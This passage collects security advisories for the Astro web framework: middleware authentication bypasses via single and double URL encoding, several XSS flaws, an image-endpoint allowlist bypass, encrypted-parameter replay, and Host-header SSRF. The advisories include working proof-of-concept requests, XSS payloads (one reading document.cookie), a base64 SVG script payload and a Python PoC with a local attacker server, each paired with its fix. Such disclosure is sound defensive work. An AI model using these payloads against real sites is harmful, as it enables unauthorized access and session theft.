```js import { defineMiddleware } from "astro/middleware"; export const onRequest = defineMiddleware(async (context, next) => { const isAuthed = false; // simulate no auth if (context.url.pathname === "/admin" && !isAuthed) { return context.redirect("/"); } return next(); }); ``` `context.url.pathname` is validated , if it's equal to `/admin` the `isAuthed` property must be true for the next() method to be called. The same example can be found in the official docs https://docs.astro.build/en/guides/authentication/ `context.url.pathname` returns the raw version which is `/%61admin` while pathname which is used for routing/rendering `/admin`, this creates a path normalization mismatch. By sending the following request, it's possible to bypass the middleware check ``` GET /%61dmin HTTP/1.1 Host: localhost:3000 ``` <img width="1920" height="1025" alt="image" src="https://github.com/user-attachments/assets/7e0eeecd-607a-4c73-b12e-5977a30c9bc4" /> **Remediation** Ensure middleware context has the same normalized pathname value that Astro uses internally, because any difference could allow it to bypass such checks. In short maybe something like this ```diff pathname = decodeURI(url.pathname); } // Add config.base back to url before passing it to SSR - url.pathname = removeTrailingForwardSlash(config.base) + url.pathname; + url.pathname = removeTrailingForwardSlash(config.base) + decodeURI(url.pathname); ``` Thank you, let @&#8203;Sudistark know if any more info is needed. Happy to help :) #### Severity - CVSS Score: 6.9 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794](https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64765](https://nvd.nist.gov/vuln/detail/CVE-2025-64765) - [https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce](https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-ggxq-hp9w-j794) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro has an Authentication Bypass via Double URL Encoding, a bypass for CVE-2025-64765 [CVE-2025-66202](https://nvd.nist.gov/vuln/detail/CVE-2025-66202) / [GHSA-whqg-ppgf-wp8c](https://github.com/advisories/GHSA-whqg-ppgf-wp8c) <details> <summary>More information</summary> #### Details ##### Authentication Bypass via Double URL Encoding in Astro ##### Bypass for CVE-2025-64765 / GHSA-ggxq-hp9w-j794 --- ##### Summary A **double URL encoding bypass** allows any unauthenticated attacker to bypass path-based authentication checks in Astro middleware, granting unauthorized access to protected routes. While the original CVE-2025-64765 (single URL encoding) was fixed in v5.15.8, the fix is insufficient as it only decodes once. By using double-encoded URLs like `/%2561dmin` instead of `/%61dmin`, attackers can still bypass authentication and access protected resources such as `/admin`, `/api/internal`, or any route protected by middleware pathname checks. ##### Fix A more secure fix is just decoding once, then if the request has a %xx format, return a 400 error by using something like : ``` if (containsEncodedCharacters(pathname)) { // Multi-level encoding detected - reject request return new Response( 'Bad Request: Multi-level URL encoding is not allowed', { status: 400, headers: { 'Content-Type': 'text/plain' } } ); } ``` #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794](https://github.com/withastro/astro/security/advisories/GHSA-ggxq-hp9w-j794) - [https://github.com/withastro/astro/security/advisories/GHSA-whqg-ppgf-wp8c](https://github.com/withastro/astro/security/advisories/GHSA-whqg-ppgf-wp8c) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64765](https://nvd.nist.gov/vuln/detail/CVE-2025-64765) - [https://nvd.nist.gov/vuln/detail/CVE-2025-66202](https://nvd.nist.gov/vuln/detail/CVE-2025-66202) - [https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce](https://github.com/withastro/astro/commit/6f800813516b07bbe12c666a92937525fddb58ce) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-whqg-ppgf-wp8c) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro vulnerable to reflected XSS via the server islands feature [CVE-2025-64764](https://nvd.nist.gov/vuln/detail/CVE-2025-64764) / [GHSA-wrwg-2hg8-v723](https://github.com/advisories/GHSA-wrwg-2hg8-v723) <details> <summary>More information</summary> #### Details ##### Summary After some research it appears that it is possible to obtain a reflected XSS when the server islands feature is used in the targeted application, **regardless of what was intended by the component template(s)**. ##### Details Server islands run in their own isolated context outside of the page request and use the following pattern path to hydrate the page: `/_server-islands/[name]`. These paths can be called via GET or POST and use three parameters: - `e`: component to export - `p`: the transmitted properties, encrypted - `s`: for the slots Slots are placeholders for external HTML content, and therefore allow, by default, the injection of code if the component template supports it, nothing exceptional in principle, just a feature. This is where it becomes problematic: it is possible, independently of the component template used, even if it is completely empty, to inject a slot containing an XSS payload, whose parent is a tag whose name is is the absolute path of the island file. Enabling reflected XSS on any application, regardless of the component templates used, provided that the server islands is used at least once. **How ?** By default, when a call is made to the endpoint `/_server-islands/[name]`, the value of the parameter `e` is `default`, pointing to a function exported by the component's module. Upon further investigation, we find that two other values ​​are possible for the component export (param `e`) in a typical configuration: `url` and `file`. `file` returns a string value corresponding to the absolute path of the island file. Since the value is of type `string`, it fulfills the following condition and leads to [this code block](https://github.com/withastro/astro/blob/190106149908ef6826899459146ef9f0ead602ab/packages/astro/src/runtime/server/render/component.ts#L279): <img width="804" height="571" alt="image" src="https://github.com/user-attachments/assets/25ea6c16-fc27-477a-a1ad-e5edf0819b31" /> An entire template is created, completely independently, and then returned: - the absolute path name is sanitized and then injected as the tag name - `childSlots`, the value provided to the `s` parameter, is injected as a child All of this is done using `markHTMLString`. This allows the injection of any XSS payload, **even if the component template intended by the application is initially empty or does not provide for the use of slots.** ##### Proof of concept For our Proof of Concept (PoC), we will use a minimal repository: - Latest Astro version at the time (5.15.6) - Use of Island servers, with a completely empty component, to demonstrate what we explained previously [Download the PoC repository](https://github.com/zhero-web-sec/astro-app-2) Access the following URL and note the opening of the popup, demonstrating the reflected XSS: http://localhost:4321/_server-islands/ServerTime?e=file&p=&s={%22zhero%22:%22%3Cimg%20src=x%20onerror=alert(0)%3E%22} <img width="1781" height="529" alt="image" src="https://github.com/user-attachments/assets/92f8134a-d1c7-4d3f-818e-214842c239c8" /> The value of the parameter `s` must be in JSON format and the payload must be injected at the value level, not the key level : <img width="3273" height="1840" alt="for_respected_patron" src="https://github.com/user-attachments/assets/8ac0079a-3dee-49e8-b639-322f77c84b83" /> Despite the initial template being empty, it is created because the value of the URL parameter `e` is set to `file`, as explained earlier. The parent tag is the name of the component's internal route, and its child is the value of the key "zhero" (*the name doesn't matter*) of the URL parameter `s`. ##### Credits - Allam Rachid ([zhero;](https://zhero-web-sec.github.io/research-and-things/)) - Allam Yasser (inzo) #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723](https://github.com/withastro/astro/security/advisories/GHSA-wrwg-2hg8-v723) - [https://nvd.nist.gov/vuln/detail/CVE-2025-64764](https://nvd.nist.gov/vuln/detail/CVE-2025-64764) - [https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91](https://github.com/withastro/astro/commit/790d9425f39bbbb462f1c27615781cd965009f91) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-wrwg-2hg8-v723) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro Cloudflare adapter has Stored Cross-site Scripting vulnerability in /_image endpoint [CVE-2025-65019](https://nvd.nist.gov/vuln/detail/CVE-2025-65019) / [GHSA-fvmw-cj7j-j39q](https://github.com/advisories/GHSA-fvmw-cj7j-j39q) <details> <summary>More information</summary> #### Details **Summary** A Cross-Site Scripting (XSS) vulnerability exists in Astro when using the **@&#8203;astrojs/cloudflare** adapter with `output: 'server'`. The built-in image optimization endpoint (`/_image`) uses `isRemoteAllowed()` from Astro’s internal helpers, which **unconditionally allows `data:` URLs**. When the endpoint receives a valid `data:` URL pointing to a malicious SVG containing JavaScript, and the Cloudflare-specific implementation performs a **302 redirect back to the original `data:` URL**, the browser directly executes the embedded JavaScript. This completely bypasses any domain allow-listing (`image.domains` / `image.remotePatterns`) and typical Content Security Policy mitigations. **Affected Versions** - `@astrojs/cloudflare` ≤ 12.6.10 (and likely all previous versions) - Astro ≥ 4.x when used with `output: 'server'` and the Cloudflare adapter **Root Cause – Vulnerable Code** File: `node_modules/@astrojs/internal-helpers/src/remote.ts` ```ts export function isRemoteAllowed(src: string, ...): boolean { if (!URL.canParse(src)) { return false; } const url = new URL(src); // Data URLs are always allowed if (url.protocol === 'data:') { return true; } // Non-http(s) protocols are never allowed if (!['http:', 'https:'].includes(url.protocol)) { return false; } // ... further http/https allow-list checks } ``` In the **Cloudflare adapter**, the `/_image` endpoint contains logic similar to: ```ts const href = ctx.url.searchParams.get('href'); if (!href) { // return error } if (isRemotePath(href)) { if (isRemoteAllowed(href, imageConfig) === false) { // return error } else { //redirect to return the image return Response.redirect(href, 302); } } ``` Because `data:` URLs are considered “allowed”, a request such as: `https://example.com/_image?href=data:image/svg+xml;base64,PHN2Zy... (base64-encoded malicious SVG)` triggers a **302 redirect directly to the `data:` URL**, causing the browser to render and execute the malicious JavaScript inside the SVG. **Proof of Concept (PoC)** 1. Create a minimal Astro project with Cloudflare adapter (`output: 'server'`). 2. Deploy to Cloudflare Pages or Workers. 3. Request the image endpoint with the following payload: ``` https://yoursite.com/_image?href=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ+YWxlcnQoJ3pvbWFzZWMnKTwvc2NyaXB0Pjwvc3ZnPg== ``` (Base64 decodes to: `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('zomasec')</script></svg>`) 4. The endpoint returns a **302 redirect** to the `data:` URL → browser executes the `<script>` → `alert()` fires. **Impact** - Reflected/Strored XSS (depending on application usage) - Session hijacking (access to cookies, localStorage, etc.) - Account takeover when combined with CSRF - Data exfiltration to attacker-controlled servers - Bypasses `image.domains` / `image.remotePatterns` configuration entirely **Safe vs Vulnerable Behavior** Other Astro adapters (Node, Vercel, etc.) typically **proxy and rasterize** SVGs, stripping JavaScript. The **Cloudflare adapter** currently **redirects** to remote resources (including `data:` URLs), making it uniquely vulnerable. **References** - Vulnerable function: https://github.com/withastro/astro/blob/main/packages/internal-helpers/src/remote.ts - Similar `data:` URL bypass in WordPress: [CVE-2025-2575 ](https://feedly.com/cve/CVE-2025-2575) #### Severity - CVSS Score: 5.4 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q](https://github.com/withastro/astro/security/advisories/GHSA-fvmw-cj7j-j39q) - [https://nvd.nist.gov/vuln/detail/CVE-2025-65019](https://nvd.nist.gov/vuln/detail/CVE-2025-65019) - [https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533](https://github.com/withastro/astro/commit/9e9c528191b6f5e06db9daf6ad26b8f68016e533) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-fvmw-cj7j-j39q) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Remote allowlist bypass via unanchored matchPathname wildcard [CVE-2026-33769](https://nvd.nist.gov/vuln/detail/CVE-2026-33769) / [GHSA-g735-7g2w-hh3f](https://github.com/advisories/GHSA-g735-7g2w-hh3f) <details> <summary>More information</summary> #### Details ##### Summary This issue concerns Astro's `remotePatterns` path enforcement for remote URLs used by server-side fetchers such as the image optimization endpoint. The path matching logic for `/*` wildcards is unanchored, so a pathname that contains the allowed prefix later in the path can still match. As a result, an attacker can fetch paths outside the intended allowlisted prefix on an otherwise allowed host. In our PoC, both the allowed path and a bypass path returned 200 with the same SVG payload, confirming the bypass. ##### Impact Attackers can fetch unintended remote resources on an allowlisted host via the image endpoint, expanding SSRF/data exposure beyond the configured path prefix. ##### Description Taint flow: request -> `transform.src` -> `isRemoteAllowed()` -> `matchPattern()` -> `matchPathname()` User-controlled `href` is parsed into `transform.src` and validated via `isRemoteAllowed()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/astro/src/assets/endpoint/generic.ts#L43-L56 ```ts const url = new URL(request.url); const transform = await imageService.parseURL(url, imageConfig); const isRemoteImage = isRemotePath(transform.src); if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) { return new Response('Forbidden', { status: 403 }); } ``` `isRemoteAllowed()` checks each `remotePattern` via `matchPattern()`: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L15-L21 ```ts export function matchPattern(url: URL, remotePattern: RemotePattern): boolean { return ( matchProtocol(url, remotePattern.protocol) && matchHostname(url, remotePattern.hostname, true) && matchPort(url, remotePattern.port) && matchPathname(url, remotePattern.pathname, true) ); } ``` The vulnerable logic in `matchPathname()` uses `replace()` without anchoring the prefix for `/*` patterns: Source: https://github.com/withastro/astro/blob/e0f1a2b3e4bc908bd5e148c698efb6f41a42c8ea/packages/internal-helpers/src/remote.ts#L85-L99 ```ts } else if (pathname.endsWith('/*')) { const slicedPathname = pathname.slice(0, -1); // * length const additionalPathChunks = url.pathname .replace(slicedPathname, '') .split('/') .filter(Boolean); return additionalPathChunks.length === 1; } ``` **Vulnerable code flow:** 1. `isRemoteAllowed()` evaluates `remotePatterns` for a requested URL. 2. `matchPathname()` handles `pathname: "/img/*"` using `.replace()` on the URL path. 3. A path such as `/evil/img/secret` incorrectly matches because `/img/` is removed even when it's not at the start. 4. The image endpoint fetches and returns the remote resource. ##### PoC The PoC starts a local attacker server and configures remotePatterns to allow only `/img/*`. It then requests the image endpoint with two URLs: an allowed path and a bypass path with `/img/` in the middle. Both requests returned the SVG payload, showing the path restriction was bypassed. ##### Vulnerable config ```js import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), image: { remotePatterns: [ { protocol: 'https', hostname: 'cdn.example', pathname: '/img/*' }, { protocol: 'http', hostname: '127.0.0.1', port: '9999', pathname: '/img/*' }, ], }, }); ``` ##### Affected pages This PoC targets the `/_image` endpoint directly; no additional pages are required. ##### PoC Code ```python import http.client import json import urllib.parse HOST = "127.0.0.1" PORT = 4321 def fetch(path: str) -> dict: conn = http.client.HTTPConnection(HOST, PORT, timeout=10) conn.request("GET", path, headers={"Host": f"{HOST}:{PORT}"}) resp = conn.getresponse() body = resp.read(2000).decode("utf-8", errors="replace") conn.close() return { "path": path, "status": resp.status, "reason": resp.reason, "headers": dict(resp.getheaders()), "body_snippet": body[:400], } allowed = urllib.parse.quote("http://127.0.0.1:9999/img/allowed.svg", safe="") bypass = urllib.parse.quote("http://127.0.0.1:9999/evil/img/secret.svg", safe="") ##### Both pass, second should fail results = { "allowed": fetch(f"/_image?href={allowed}&f=svg"), "bypass": fetch(f"/_image?href={bypass}&f=svg"), } print(json.dumps(results, indent=2)) ``` ##### Attacker server ```python from http.server import BaseHTTPRequestHandler, HTTPServer HOST = "127.0.0.1" PORT = 9999 PAYLOAD = """<svg xmlns=\"http://www.w3.org/2000/svg\"> <text>OK</text> </svg> """ class Handler(BaseHTTPRequestHandler): def do_GET(self): print(f">>> {self.command} {self.path}") if self.path.endswith(".svg") or "/img/" in self.path: self.send_response(200) self.send_header("Content-Type", "image/svg+xml") self.send_header("Cache-Control", "no-store") self.end_headers() self.wfile.write(PAYLOAD.encode("utf-8")) return self.send_response(200) self.send_header("Content-Type", "text/plain") self.end_headers() self.wfile.write(b"ok") def log_message(self, format, *args): return if __name__ == "__main__": server = HTTPServer((HOST, PORT), Handler) print(f"HTTP logger listening on http://{HOST}:{PORT}") server.serve_forever() ``` ##### PoC Steps 1. Bootstrap default Astro project. 2. Add the vulnerable config and attacker server. 3. Build the project. 4. Start the attacker server. 5. Start the Astro server. 6. Run the PoC. 7. Observe the console output showing both the allowed and bypass requests returning the SVG payload. #### Severity - CVSS Score: 2.9 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f](https://github.com/withastro/astro/security/advisories/GHSA-g735-7g2w-hh3f) - [https://nvd.nist.gov/vuln/detail/CVE-2026-33769](https://nvd.nist.gov/vuln/detail/CVE-2026-33769) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g735-7g2w-hh3f) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: XSS in define:vars via incomplete </script> tag sanitization [CVE-2026-41067](https://nvd.nist.gov/vuln/detail/CVE-2026-41067) / [GHSA-j687-52p2-xcff](https://github.com/advisories/GHSA-j687-52p2-xcff) <details> <summary>More information</summary> #### Details ##### Summary The `defineScriptVars` function in Astro's server-side rendering pipeline uses a case-sensitive regex `/<\/script>/g` to sanitize values injected into inline `<script>` tags via the `define:vars` directive. HTML parsers close `<script>` elements case-insensitively and also accept whitespace or `/` before the closing `>`, allowing an attacker to bypass the sanitization with payloads like `</Script>`, `</script >`, or `</script/>` and inject arbitrary HTML/JavaScript. ##### Details The vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /<\/script>/g, // ← Case-sensitive, exact match only '\\x3C/script>', )};\n`; } return markHTMLString(output); } ``` This function is called from `renderElement` at `util.ts:172-174` when a `<script>` element has `define:vars`: ```typescript if (name === 'script') { delete props.hoist; children = defineScriptVars(defineVars) + '\n' + children; } ``` The regex `/<\/script>/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification §13.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody): 1. **Case variations**: `</Script>`, `</SCRIPT>`, `</sCrIpT>` — HTML tag names are case-insensitive but the regex has no `i` flag. 2. **Whitespace before `>`**: `</script >`, `</script\t>`, `</script\n>` — after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. 3. **Self-closing slash**: `</script/>` — the tokenizer enters "self-closing start tag" state on `/`. `JSON.stringify()` does not escape `<`, `>`, or `/` characters, so all these payloads pass through serialization unchanged. **Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) → assigned to a variable → passed via `define:vars` on a `<script>` tag → `renderElement` → `defineScriptVars` → incomplete sanitization → injected into `<script>` block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed. ##### PoC **Step 1:** Create an SSR Astro page (`src/pages/index.astro`): ```astro --- const name = Astro.url.searchParams.get('name') || 'World'; --- <html> <body> <h1>Hello</h1> <script define:vars=> console.log(name); </script> </body> </html> ``` **Step 2:** Ensure SSR is enabled in `astro.config.mjs`: ```js export default defineConfig({ output: 'server' }); ``` **Step 3:** Start the dev server and visit: ``` http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)> ``` **Step 4:** View the HTML source. The output contains: ```html <script>const name = "</Script><img/src=x onerror=alert(document.cookie)>"; console.log(name); </script> ``` The browser's HTML parser matches `</Script>` case-insensitively, closing the script block. The `<img onerror=alert(document.cookie)>` is then parsed as HTML and the JavaScript in `onerror` executes. **Alternative bypass payloads:** ``` /?name=</script ><img/src=x onerror=alert(1)> /?name=</script/><img/src=x onerror=alert(1)> /?name=</SCRIPT><img/src=x onerror=alert(1)> ``` ##### Impact An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `<script>` tag. This is a documented and expected usage pattern in Astro. Exploitation enables: - **Session hijacking** via cookie theft (`document.cookie`) - **Credential theft** by injecting fake login forms or keyloggers - **Defacement** of the rendered page - **Redirection** to attacker-controlled domains The vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable. ##### Recommended Fix Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `<` characters in the JSON output: ```typescript export function defineScriptVars(vars: Record<any, any>) { let output = ''; for (const [key, value] of Object.entries(vars)) { output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace( /</g, '\\u003c', )};\n`; } return markHTMLString(output); } ``` This is the standard approach used by frameworks like Next.js and Rails. Replacing every `<` with `\u003c` is safe inside JSON string contexts (JavaScript treats `\u003c` as `<` at runtime) and eliminates all possible `</script>` variants including case variations, whitespace, and self-closing forms. #### Severity - CVSS Score: 6.1 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff](https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff) - [https://nvd.nist.gov/vuln/detail/CVE-2026-41067](https://nvd.nist.gov/vuln/detail/CVE-2026-41067) - [https://github.com/withastro/astro](https://github.com/withastro/astro) - [https://github.com/withastro/astro/releases/tag/astro@6.1.6](https://github.com/withastro/astro/releases/tag/astro@6.1.6) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-j687-52p2-xcff) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Server island encrypted parameters vulnerable to cross-component replay [CVE-2026-45028](https://nvd.nist.gov/vuln/detail/CVE-2026-45028) / [GHSA-xr5h-phrj-8vxv](https://github.com/advisories/GHSA-xr5h-phrj-8vxv) <details> <summary>More information</summary> #### Details ##### Impact Astro versions prior to 6.1.10 used AES-GCM encryption to protect the confidentiality and integrity of server island props and slots parameters, but did not bind the ciphertext to its intended component or parameter type. An attacker could replay one component's encrypted props (`p`) value as another component's slots (`s`) value, or vice versa. Since slots contain raw unescaped HTML while props may contain user-controlled values, this could lead to XSS in applications that meet **all** of the following conditions: - The application uses server islands - Two different server island components share the same key name for a prop and a slot - An attacker has full control over the value of the overlapping prop (requires a dynamically rendered page) These conditions are very unlikely to occur in real-world production applications. ##### Patches This has been patched in **astro@6.1.10**. The fix binds each encrypted parameter to its target component and purpose using AES-GCM authenticated additional data (AAD). Each ciphertext now includes context like `props:IslandName` or `slots:IslandName`, so encrypted data for one component cannot be replayed against a different component, and encrypted props cannot be reused as slots. ##### References - Fix PR: https://github.com/withastro/astro/pull/16457 - Example demonstrating the vulnerability: https://github.com/CyberSecurityAustria/ACSC2026-web-astronomical #### Severity - CVSS Score: 2.9 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv](https://github.com/withastro/astro/security/advisories/GHSA-xr5h-phrj-8vxv) - [https://nvd.nist.gov/vuln/detail/CVE-2026-45028](https://nvd.nist.gov/vuln/detail/CVE-2026-45028) - [https://github.com/withastro/astro/pull/16457](https://github.com/withastro/astro/pull/16457) - [https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd](https://github.com/withastro/astro/commit/3d82220a1549e699e34ed433f3846a919f4c02bd) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xr5h-phrj-8vxv) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Reflected XSS via unescaped slot name [CVE-2026-50146](https://nvd.nist.gov/vuln/detail/CVE-2026-50146) / [GHSA-8hv8-536x-4wqp](https://github.com/advisories/GHSA-8hv8-536x-4wqp) <details> <summary>More information</summary> #### Details ##### Summary When a component uses a `client:*` directive, Astro inserts named slot content into a `data-astro-template` attribute without HTML escaping the slot name allowing an attacker to break out of the attribute context and inject arbitrary HTML, resulting in reflected XSS during SSR. This is similar to GHSA-wrwg-2hg8-v723 but exploits a different injection point. ##### Vulnerable Code `packages/astro/src/runtime/server/render/component.ts:371:376` ```ts // component.ts:371 `<template data-astro-template${key !== 'default' ? `="${key}"` : ''}>${children[key]}</template>` ``` I found that key is interpolated directly into the attribute value without proper escaping. ##### Proof of Concept For the PoC, I set up with a minimal repository with Astro 6.3.1, Node.js: v26.0.0. **`astro.config.mjs`** ```js import react from '@astrojs/react'; import node from '@astrojs/node'; import { defineConfig } from 'astro/config'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), integrations: [react()], }); ``` **`src/pages/index.astro`** ```astro --- import Wrapper from '../components/Wrapper.jsx'; const slotName = Astro.url.searchParams.get('tab') ?? 'default'; --- <html><body> <Wrapper client:load> <div slot={slotName}>content</div> </Wrapper> </body></html> ``` **`src/components/Wrapper.jsx`** ```jsx export default function Wrapper() { return null; } ``` **Payload:** ``` abc"></template></astro-island><img src=x onerror=confirm(document.domain)><!-- ``` Accessing this URL will trigger the popup. http://localhost:4321/?tab=abc%22%3E%3C%2Ftemplate%3E%3C%2Fastro-island%3E%3Cimg+src%3Dx+onerror%3Dconfirm(document.domain)%3E%3C!-- <img width="1268" height="592" alt="image" src="https://github.com/user-attachments/assets/675cdc04-4134-4d83-883c-abe16d751ec7" /> This will render in html. ```html <template data-astro-template="abc"></template></astro-island> <img src=x onerror=confirm(document.domain)><!--">content</template> ``` ##### Fix I suggest leveraging the existing escape function on the slot name. ```ts // component.ts:371 `<template data-astro-template${key !== 'default' ? `="${escapeHTML(String(key))}"` : ''}>${children[key]}</template>` ``` --- #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp](https://github.com/withastro/astro/security/advisories/GHSA-8hv8-536x-4wqp) - [https://nvd.nist.gov/vuln/detail/CVE-2026-50146](https://nvd.nist.gov/vuln/detail/CVE-2026-50146) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-8hv8-536x-4wqp) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Astro: Host header SSRF in prerendered error page fetch [CVE-2026-54299](https://nvd.nist.gov/vuln/detail/CVE-2026-54299) / [GHSA-2pvr-wf23-7pc7](https://github.com/advisories/GHSA-2pvr-wf23-7pc7) <details> <summary>More information</summary> #### Details ##### Summary Astro SSR apps with prerendered error pages (`/404` or `/500` using `export const prerender = true`) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from `request.url`, which in turn gets its origin from the incoming `Host` header. When the `Host` header is not validated against `allowedDomains`, an attacker can point the fetch at an arbitrary host and read the response. ##### Who is affected This affects SSR deployments that: 1. Have a prerendered 404 or 500 page 2. Use `createRequestFromNodeRequest` from `astro/app/node` with `app.render()` **without** overriding `prerenderedErrorPageFetch` — this includes custom servers built on the public API and third-party adapters **Not affected:** - `@astrojs/node` >= 9.5.4 (reads error pages from disk) - `@astrojs/cloudflare` (uses the ASSETS binding) - The dev server (renders error pages in-process) ##### How it works `createRequestFromNodeRequest` builds `request.url` from the raw `Host` / `:authority` header. The `allowedDomains` option is accepted but only gates `X-Forwarded-For` — it does not constrain the URL origin. (The public `createRequest` does fall back to `localhost` for unvalidated hosts; this internal builder did not.) When `app.render()` encounters a 404 or 500 with a prerendered error route, `default-handler.ts` constructs the error page URL using the origin from `request.url` and fetches it via `prerenderedErrorPageFetch`, which defaults to global `fetch`. The response body is served to the client. An attacker sends a request with `Host: attacker-host:port`, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back. ##### Remediation The error page fetch origin is now validated against `allowedDomains` before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to `localhost`. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response. ##### Credit 5ud0 / Tarmo Technologies #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N` #### References - [https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7](https://github.com/withastro/astro/security/advisories/GHSA-2pvr-wf23-7pc7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-54299](https://nvd.nist.gov/vuln/detail/CVE-2026-54299) - [https://github.com/withastro/astro](https://github.com/withastro/astro) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-2pvr-wf23-7pc7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### 